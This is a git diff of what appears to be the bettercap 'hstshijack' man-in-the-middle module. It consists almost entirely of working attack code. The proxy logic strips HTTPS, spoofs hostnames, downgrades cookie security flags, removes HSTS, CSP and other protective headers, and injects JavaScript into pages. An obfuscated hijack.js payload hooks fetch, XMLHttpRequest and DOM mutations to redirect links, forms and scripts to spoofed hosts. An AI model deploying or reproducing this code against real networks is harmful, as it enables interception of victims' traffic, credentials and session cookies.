+ for (a = 0; a < target_hosts.length; a++) {
+ matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
+ for (b = 0; b < matches.length; b++) {
+ escaped_domain = matches[b].replace(rx_all_dots, "\\.");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ }
+ }
+
+ /* Execute regex header replacements. */
+ Object.keys(replacements_req_headers).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_headers[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_headers[a].test(req.Hostname)) {
+ replacements_req_headers[selector_string].forEach(function(rx_set) {
+ req.Headers = req.Headers.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Execute regex body replacements. */
+ Object.keys(replacements_req_body).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_body[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_body[a].test(req.Hostname)) {
+ replacements_req_body[selector_string].forEach(function(rx_set) {
+ req.Body = req.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Execute regex URL replacements. */
+ Object.keys(replacements_req_url_path).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_path[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_path[a].test(req.Hostname)) {
+ replacements_req_url_path[selector_string].forEach(function(rx_set) {
+ req.Path = req.Path.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+ Object.keys(replacements_req_url_port).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_port[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_port[a].test(req.Hostname)) {
+ replacements_req_url_port[selector_string].forEach(function(rx_set) {
+ req.Port = req.Port.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+ Object.keys(replacements_req_url_query).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_query[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_query[a].test(req.Hostname)) {
+ replacements_req_url_query[selector_string].forEach(function(rx_set) {
+ req.Query = req.Query.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Restore cookies. */
+ req.Headers = req.Headers
+ .replace(rx_global_cookie_host_prefix, "__Host-")
+ .replace(rx_global_cookie_secure_prefix, "__Secure-");
+ }
+}
+
+function onResponse(req, res) {
+ res.ReadBody();
+
+ /* Remember HTTPS redirects. */
+ var location = res.GetHeader("Location", "");
+ if (rx_uri_one.test(location)) {
+ indexDomain(location.replace(rx_uri_two, "$1"));
+ }
+
+ /* Ignore this response if whitelisted. */
+ if (whitelist[req.Client.MAC]) {
+ if (whitelist[req.Client.MAC].indexOf(req.Hostname) !== -1) {
+ log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset + ".");
+ return;
+ }
+ } else {
+ for (a = 0; a < ignore_hosts.length; a++) {
+ var whole_regexp_set;
+ if (ignore_hosts[a] !== "*") {
+ whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], "");
+ }
+
+ whole_regexp_set[0].lastIndex = 0;
+ if (
+ ignore_hosts[a] === "*"
+ || whole_regexp_set[0].test(req.Hostname)
+ ) {
+ log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + ".");
+ return;
+ }
+ }
+
+ /* Spoof markup bodies. */
+ if (
+ rx_content_type_html.test(res.ContentType)
+ || rx_extension_html.test(req.Path)
+ ) {
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.html).forEach(function(selector_string, a) {
+ var rx_sets = replacements_res_body.html[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_html[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+
+ /* Block scripts. */
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ block_script_hosts[a] === "*"
+ || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
+ ) {
+ res.Body = res.Body.replace(rx_html_script_open_tag, "
\n";
+ res.Body = res.Body.slice(0, match.index) +
+ injection +
+ res.Body.slice(match.index + match[0].length, res.Body.length);
+ } else {
+ res.Body =
+ "\n" +
+ res.Body;
+ }
+ }
+ log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
+ }
+ }
+
+ /* Spoof JavaScript bodies. */
+ if (
+ rx_content_type_js.test(res.ContentType)
+ || rx_extension_js.test(req.Path)
+ ) {
+ /* Block scripts. */
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ block_script_hosts[a] === "*"
+ || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
+ ) {
+ res.Body = "";
+ log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + ".");
+ break;
+ }
+ }
+
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.javascript).forEach(function(selector_string) {
+ var rx_sets = replacements_res_body.javascript[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_javascript[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+
+ /* Inject payloads. */
+ injection = "";
+ for (a = 0; a < Object.keys(payloads).length; a++) {
+ injecting_host = Object.keys(payloads)[a];
+ if (
+ injecting_host === "*"
+ || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname)
+ ) {
+ injection = injection + payloads[injecting_host];
+ }
+ }
+ if (injection !== "") {
+ res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body;
+ log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
+ }
+ }
+
+ /* Spoof JSON bodies. */
+ if (
+ rx_content_type_json.test(res.ContentType)
+ || rx_extension_json.test(req.Path)
+ ) {
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.json).forEach(function(selector_string) {
+ var rx_sets = replacements_res_body.json[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_json[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+ }
+
+ /* Strip SSL from location headers. */
+ res.Headers = res.Headers
+ .replace(rx_scheme_http_https_colon, "$1:")
+ .replace(rx_port_https, "$1");
+
+ /* Spoof hosts in headers. */
+ for (a = 0; a < target_hosts.length; a++) {
+ res.Headers = res.Headers.replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ }
+
+ /* Spoof cookies. */
+ var cookie_strings = res.GetHeaders("set-cookie");
+ cookie_strings.forEach(function(cookie_string) {
+ var cookie = parseCookie(cookie_string);
+ if (downgrade_cookies) {
+ cookie.sameSite = "";
+ cookie.secure = false;
+ cookie.partitioned = false;
+ cookie.httpOnly = false;
+ cookie.name = cookie.name
+ .replace(rx_cookie_host_prefix, cookie_host_prefix)
+ .replace(rx_cookie_secure_prefix, cookie_secure_prefix);
+ }
+ if (typeof cookie.domain === "string" && cookie.domain !== "") {
+ var selector_string = cookie.domain[0] === "."
+ ? "*" + cookie.domain : cookie.domain;
+ if (selector_string[0] === "*") {
+ for (a = 0; a < target_hosts.length; a++) {
+ if (selector_string === target_hosts[a]) {
+ cookie.domain = replacement_hosts[a].slice(1);
+ break;
+ } else {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test("a" + cookie.domain)) {
+ cookie.domain = ("a" + cookie.domain).replace(
+ rx_sets_whole_target_hosts[a][0],
+ rx_sets_whole_target_hosts[a][1]);
+ cookie.domain = cookie.domain.slice(1);
+ break;
+ }
+ }
+ }
+ } else {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test(selector_string)) {
+ cookie.domain = cookie.domain.replace(
+ rx_sets_whole_target_hosts[a][0],
+ rx_sets_whole_target_hosts[a][1]);
+ break;
+ }
+ }
+ }
+ }
+ res.Headers = res.Headers.replace(
+ cookie_string,
+ cookieToResponseHeaderValue(cookie));
+ });
+
+ /* Remove security headers. */
+ res.Headers = res.Headers
+ .replace(rx_header_csp, "")
+ .replace(rx_header_cspro, "")
+ .replace(rx_header_corp, "");
+ res.RemoveHeader("Strict-Transport-Security");
+ res.RemoveHeader("Public-Key-Pins");
+ res.RemoveHeader("Public-Key-Pins-Report-Only");
+ res.RemoveHeader("X-Frame-Options");
+ res.RemoveHeader("X-Content-Type-Options");
+ res.RemoveHeader("X-Download-Options");
+ res.RemoveHeader("X-Permitted-Cross-Domain-Policies");
+ res.RemoveHeader("X-XSS-Protection");
+ res.RemoveHeader("Expect-Ct");
+
+ /* Set insecure headers. */
+ allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*");
+ if (allowed_origin !== "*") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_target_hosts[a][0].test(allowed_origin)) {
+ allowed_origin = allowed_origin.replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ break;
+ }
+ }
+ } else {
+ var request_origin = req.GetHeader("origin", "");
+ if (request_origin !== "") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_target_hosts[a][0].test(request_origin)) {
+ allowed_origin = request_origin
+ .replace(rx_scheme_http_https_colon, "$1:")
+ .replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ break;
+ }
+ }
+ }
+ }
+ res.SetHeader("Access-Control-Allow-Credentials", "true");
+ res.SetHeader("Access-Control-Allow-Origin", allowed_origin);
+ res.SetHeader("Access-Control-Allow-Methods", "*");
+ res.SetHeader("Access-Control-Allow-Headers", "*");
+ res.SetHeader("Cross-Origin-Embedder-Policy", "unsafe-none");
+ res.SetHeader("Cross-Origin-Opener-Policy", "unsafe-none");
+ /* Spoof preflight headers. */
+ if (req.Method === "OPTIONS") {
+ var requested_headers = req.GetHeader("Access-Control-Request-Headers", "");
+ if (requested_headers !== "")
+ res.SetHeader("Access-Control-Allow-Headers", requested_headers);
+ }
+ res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate");
+ res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT");
+ res.SetHeader("Pragma", "no-cache");
+ }
+}
+
diff --git a/hstshijack/payloads/google-search.js b/hstshijack/payloads/google-search.js
index 8465fd6..7b8aa1c 100644
--- a/hstshijack/payloads/google-search.js
+++ b/hstshijack/payloads/google-search.js
@@ -1,23 +1,23 @@
globalThis.addEventListener("DOMContentLoaded", function(){
- "use strict";
+ "use strict";
- if (location.pathname === "/search") {
- document.querySelectorAll("a").forEach(function(obf_hstshijack_var_link){
- if (obf_hstshijack_var_link.href && obf_hstshijack_var_link.href !== "") {
- var obf_hstshijack_var_container = document.createElement("obf_hstshijack_dummy");
- obf_hstshijack_var_container.append(obf_hstshijack_var_link.cloneNode(true))
- obf_hstshijack_var_container.addEventListener("click", function(e){
- e.preventDefault();
- location.href = obf_hstshijack_var_link.href;
- });
- obf_hstshijack_var_link.before(obf_hstshijack_var_container);
- obf_hstshijack_var_link.remove();
- }
- });
- }
+ if (location.pathname === "/search") {
+ document.querySelectorAll("a").forEach(function(obf_hstshijack_var_link){
+ if (obf_hstshijack_var_link.href && obf_hstshijack_var_link.href !== "") {
+ var obf_hstshijack_var_container = document.createElement("obf_hstshijack_dummy");
+ obf_hstshijack_var_container.append(obf_hstshijack_var_link.cloneNode(true))
+ obf_hstshijack_var_container.addEventListener("click", function(e){
+ e.preventDefault();
+ location.href = obf_hstshijack_var_link.href;
+ });
+ obf_hstshijack_var_link.before(obf_hstshijack_var_container);
+ obf_hstshijack_var_link.remove();
+ }
+ });
+ }
- var obf_hstshijack_var_stylesheet = document.createElement("style");
- obf_hstshijack_var_stylesheet.innerText = `.gb_Pa{box-shadow:none}`;
- document.body.append(obf_hstshijack_var_stylesheet);
+ var obf_hstshijack_var_stylesheet = document.createElement("style");
+ obf_hstshijack_var_stylesheet.innerText = `.gb_Pa{box-shadow:none}`;
+ document.body.append(obf_hstshijack_var_stylesheet);
});
diff --git a/hstshijack/payloads/hijack.js b/hstshijack/payloads/hijack.js
index 4239c76..7318b69 100644
--- a/hstshijack/payloads/hijack.js
+++ b/hstshijack/payloads/hijack.js
@@ -1,276 +1,421 @@
-/*
- Hooks XMLHttpRequest.open and fetch, as well as 'a', 'form', 'script' and 'iframe' nodes.
- This payload is essential for hostname replacements.
+(async () => {
+ const obf_hstshijack_rx_one = /\-/g,
+ obf_hstshijack_rx_two = /^\*./,
+ obf_hstshijack_rx_three = /^\*\./,
+ obf_hstshijack_rx_four = /\./g,
+ obf_hstshijack_rx_five = /^\*\./,
+ obf_hstshijack_rx_six = /\.\*$/,
+ obf_hstshijack_rx_seven = /\.\*/g,
+ obf_hstshijack_rx_eight = /^((?:[a-z0-9.+-]{1,256}[:])(?:[/][/])?|(?:[a-z0-9.+-]{1,256}[:])?[/][/])?.*$/i,
+ obf_hstshijack_rx_nine = /^((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.){1,63}(?:[a-z]{1,63})|(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9]))?.*$/i,
+ obf_hstshijack_rx_ten = /^([:](?:6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[0-5][0-9][0-9][0-9][0-9]|[1-9][0-9]{0,3}))?.*$/i,
+ obf_hstshijack_rx_eleven = /^([^?#]{1,2048})?.*$/i,
+ obf_hstshijack_rx_twelve = /^([?][^#]{0,2048})?.*$/i,
+ obf_hstshijack_rx_thirteen = /^\s*(.*)\s*$/g,
+ obf_hstshijack_rx_fourteen = /^\s*(?:http[s]?:)?\/\/[^:/?#]+/i,
+ obf_hstshijack_rx_fifteen = /(http)s:\/\//i,
+ obf_hstshijack_rx_sixteen = /^:443$/,
+ obf_hstshijack_rx_seventeen = /^(?:about|data|file|geo|javascript|tel):$/i,
+ obf_hstshijack_rx_eighteen = /=['"]?(?:http[s]?:)?\/\/[a-z0-9-.]+/ig,
+ obf_hstshijack_rx_nineteen = /^.*\/\//,
+ obf_hstshijack_rx_cookie_host_prefix = /^__Host-/ig,
+ obf_hstshijack_rx_cookie_secure_prefix = /^__Secure-/ig,
+ obf_hstshijack_rx_cookie_downgrade = /;\s*(?:httponly|partitioned|samesite|secure)(?:=[^;]+)?/ig,
+ obf_hstshijack_rx_cookie_domain = /;\s*domain=([^;\s]+)/i;
- Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
- 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
- loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
- are already declared before this is injected.
-*/
+ const obf_hstshijack_xhrOpen = XMLHttpRequest.prototype.open,
+ obf_hstshijack_XMLHttpRequest = new XMLHttpRequest(),
+ obf_hstshijack_fetch = globalThis.fetch,
+ obf_hstshijack_callback_log = [],
+ obf_hstshijack_innerHtmlSetter = Object.getOwnPropertyDescriptor(Element.prototype, "innerHTML").set,
+ obf_hstshijack_outerHtmlSetter = Object.getOwnPropertyDescriptor(Element.prototype, "outerHTML").set,
+ obf_hstshijack_scriptSrcSetter = Object.getOwnPropertyDescriptor(HTMLScriptElement.prototype, "src").set,
+ obf_hstshijack_linkHrefSetter = Object.getOwnPropertyDescriptor(HTMLLinkElement.prototype, "href").set;
-(function(){
- "use strict";
+ const obf_hstshijack_sleep = obf_hstshijack_ms => new Promise(obf_hstshijack_res => setTimeout(obf_hstshijack_res, obf_hstshijack_ms));
- var obf_hstshijack_var_regex_one = /\-/g,
- obf_hstshijack_var_regex_two = /^\*./,
- obf_hstshijack_var_regex_three = /^\*\./,
- obf_hstshijack_var_regex_four = /\./g,
- obf_hstshijack_var_regex_five = /^\*\./,
- obf_hstshijack_var_regex_six = /\.\*$/,
- obf_hstshijack_var_regex_seven = /\.\*/g,
- obf_hstshijack_var_regex_eight = /^((?:[a-z0-9.+-]{1,256}[:])(?:[/][/])?|(?:[a-z0-9.+-]{1,256}[:])?[/][/])?.*$/i,
- obf_hstshijack_var_regex_nine = /^((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.){1,63}(?:[a-z]{1,63})|(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9]))?.*$/i,
- obf_hstshijack_var_regex_ten = /^([:](?:6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[0-5][0-9][0-9][0-9][0-9]|[1-9][0-9]{0,3}))?.*$/i,
- obf_hstshijack_var_regex_eleven = /^([^?#]{1,2048})?.*$/i,
- obf_hstshijack_var_regex_twelve = /^([?][^#]{0,2048})?.*$/i,
- obf_hstshijack_var_regex_thirteen = /^\s*(.*)\s*$/g;
+ const obf_hstshijack_mutation_observer = new MutationObserver(function(obf_hstshijack_mutations) {
+ obf_hstshijack_mutations.forEach(function(obf_hstshijack_mutation) {
+ if (obf_hstshijack_mutation.type === "childList") {
+ obf_hstshijack_mutation.addedNodes.forEach(function(obf_hstshijack_node) {
+ switch (obf_hstshijack_node.tagName) {
+ case "A" || "LINK":
+ if (obf_hstshijack_node.href) {
+ var obf_hstshijack_url = obf_hstshijack_node.href;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.href = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "FORM":
+ if (obf_hstshijack_node.action) {
+ var obf_hstshijack_url = obf_hstshijack_node.action;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.action = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "SCRIPT" || "FRAME":
+ if (obf_hstshijack_node.src) {
+ var obf_hstshijack_url = obf_hstshijack_node.src;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.src = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ }
+ });
+ } else if (obf_hstshijack_mutation.type === "attributes") {
+ switch (obf_hstshijack_mutation.target.tagName) {
+ case "A" || "LINK":
+ if (obf_hstshijack_mutation.attributeName === "href") {
+ var obf_hstshijack_url = obf_hstshijack_mutation.target.href;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_mutation.target.href = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "FORM":
+ if (obf_hstshijack_mutation.attributeName === "action") {
+ var obf_hstshijack_url = obf_hstshijack_mutation.target.action;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_mutation.target.action = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "SCRIPT" || "IFRAME":
+ if (obf_hstshijack_mutation.attributeName === "src") {
+ var obf_hstshijack_url = obf_hstshijack_mutation.target.src;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_mutation.target.src = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ }
+ }
+ });
+ });
- var obf_hstshijack_func_open = XMLHttpRequest.prototype.open,
- obf_hstshijack_var_XMLHttpRequest = new XMLHttpRequest(),
- obf_hstshijack_func_fetch = globalThis.fetch,
- obf_hstshijack_var_callback_log = [];
+ const obf_hstshijack_trimLeadingAndTrailingWhitespaces = obf_hstshijack_str => {
+ return obf_hstshijack_str.replace(obf_hstshijack_rx_thirteen, "$1");
+ };
- function obf_hstshijack_func_trimLeadingAndTrailingWhitespaces(obf_hstshijack_var_str) {
- return obf_hstshijack_var_str.replace(obf_hstshijack_var_regex_thirteen, "$1");
- }
+ const obf_hstshijack_toWholeRegexpSet = (obf_hstshijack_selector_string, obf_hstshijack_replacement_string) => {
+ if (obf_hstshijack_selector_string.indexOf("*") != -1) {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_one, "\\-");
+ if (obf_hstshijack_rx_two.test(obf_hstshijack_selector_string)) {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_three, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_four, "\\.");
+ obf_hstshijack_replacement_string = obf_hstshijack_replacement_string.replace(
+ obf_hstshijack_rx_five, "");
+ return [
+ new RegExp("^" + obf_hstshijack_selector_string + "$", "ig"),
+ "$1" + obf_hstshijack_replacement_string
+ ];
+ } else if (obf_hstshijack_rx_six.test(obf_hstshijack_selector_string)) {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_seven, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_four, "\\.");
+ obf_hstshijack_replacement_string = obf_hstshijack_replacement_string.replace(
+ obf_hstshijack_rx_six, "");
+ return [
+ new RegExp(obf_hstshijack_selector_string, "ig"),
+ obf_hstshijack_replacement_string + "$1"
+ ];
+ }
+ } else {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string
+ .replace(obf_hstshijack_rx_four, "\\.")
+ .replace(/\-/g, "\\-");
+ return [
+ new RegExp("^" + obf_hstshijack_selector_string + "$", "ig"),
+ obf_hstshijack_replacement_string
+ ];
+ }
+ };
- function obf_hstshijack_func_toWholeRegexpSet(obf_hstshijack_var_selector_string, obf_hstshijack_var_replacement_string) {
- if (obf_hstshijack_var_selector_string.indexOf("*") != -1) {
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_one, "\\-");
- if (obf_hstshijack_var_selector_string.match(obf_hstshijack_var_regex_two)) {
- var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_three, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"),
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."),
- obf_hstshijack_var_replacement_string = obf_hstshijack_var_replacement_string.replace(obf_hstshijack_var_regex_five, "");
- return [
- new RegExp("^" + obf_hstshijack_var_selector_string + "$", "ig"),
- "$1" + obf_hstshijack_var_replacement_string
- ];
- } else if (obf_hstshijack_var_selector_string.match(obf_hstshijack_var_regex_six)) {
- var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_seven, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"),
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."),
- obf_hstshijack_var_replacement_string = obf_hstshijack_var_replacement_string.replace(obf_hstshijack_var_regex_six, "");
- return [
- new RegExp(obf_hstshijack_var_selector_string, "ig"),
- obf_hstshijack_var_replacement_string + "$1"
- ];
- }
- } else {
- var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."),
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(/\-/g, "\\-");
- return [
- new RegExp("^" + obf_hstshijack_var_selector_string + "$", "ig"),
- obf_hstshijack_var_replacement_string
- ];
- }
- }
+ const obf_hstshijack_parseURL = obf_hstshijack_url => {
+ if (typeof obf_hstshijack_url !== "string") return obf_hstshijack_url;
+ var obf_hstshijack_sliceLength = 0;
+ var obf_hstshijack_strippedURL = obf_hstshijack_trimLeadingAndTrailingWhitespaces(obf_hstshijack_url);
+ var obf_hstshijack_retval = ["","","","","",""];
+ /* obf_protocol */
+ obf_hstshijack_retval[0] = obf_hstshijack_strippedURL.replace(obf_hstshijack_rx_eight, "$1");
+ var obf_hstshijack_protocol = obf_hstshijack_retval[0].toLowerCase();
+ if (obf_hstshijack_protocol.length !== 0) {
+ if (obf_hstshijack_rx_seventeen.test(obf_hstshijack_protocol)) {
+ obf_hstshijack_retval[3] = obf_hstshijack_strippedURL.slice(obf_hstshijack_protocol.length);
+ return obf_hstshijack_retval;
+ }
+ /* obf_host */
+ obf_hstshijack_retval[1] = obf_hstshijack_strippedURL.slice(obf_hstshijack_protocol).replace(
+ obf_hstshijack_rx_nine, "$1");
+ }
+ /* obf_port */
+ obf_hstshijack_sliceLength = obf_hstshijack_protocol.length + obf_hstshijack_retval[1].length;
+ obf_hstshijack_retval[2] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace(
+ obf_hstshijack_rx_ten, "$1");
+ /* obf_path */
+ obf_hstshijack_sliceLength = obf_hstshijack_sliceLength + obf_hstshijack_retval[2].length;
+ obf_hstshijack_retval[3] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace(
+ obf_hstshijack_rx_eleven, "$1");
+ /* obf_search */
+ obf_hstshijack_sliceLength = obf_hstshijack_sliceLength + obf_hstshijack_retval[3].length;
+ obf_hstshijack_retval[4] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace(
+ obf_hstshijack_rx_twelve, "$1");
+ /* obf_hash */
+ obf_hstshijack_retval[5] = obf_hstshijack_strippedURL.slice(
+ obf_hstshijack_sliceLength + obf_hstshijack_retval[4].length);
+ return obf_hstshijack_retval;
+ };
- function obf_hstshijack_func_parseURL(obf_hstshijack_var_url) {
- var obf_hstshijack_var_sliceLength = 0;
- var obf_hstshijack_var_strippedURL = obf_hstshijack_func_trimLeadingAndTrailingWhitespaces(obf_hstshijack_var_url);
- var obf_hstshijack_var_retval = ["","","","","",""];
- /* obf_hstshijack_protocol */
- obf_hstshijack_var_retval[0] = obf_hstshijack_var_strippedURL.replace(obf_hstshijack_var_regex_eight, "$1");
- var obf_hstshijack_var_protocol = obf_hstshijack_var_retval[0].toLowerCase();
- if (obf_hstshijack_var_protocol.length !== 0) {
- if (
- obf_hstshijack_var_protocol === "about:"
- || obf_hstshijack_var_protocol === "data:"
- || obf_hstshijack_var_protocol === "file:"
- || obf_hstshijack_var_protocol === "geo:"
- || obf_hstshijack_var_protocol === "javascript:"
- || obf_hstshijack_var_protocol === "tel:"
- ) {
- obf_hstshijack_var_retval[3] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_retval[0].length);
- return obf_hstshijack_var_retval;
- }
- /* obf_hstshijack_host */
- obf_hstshijack_var_retval[1] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_retval[0].length).replace(obf_hstshijack_var_regex_nine, "$1");
- }
- /* obf_hstshijack_port */
- obf_hstshijack_var_sliceLength = obf_hstshijack_var_retval[0].length + obf_hstshijack_var_retval[1].length;
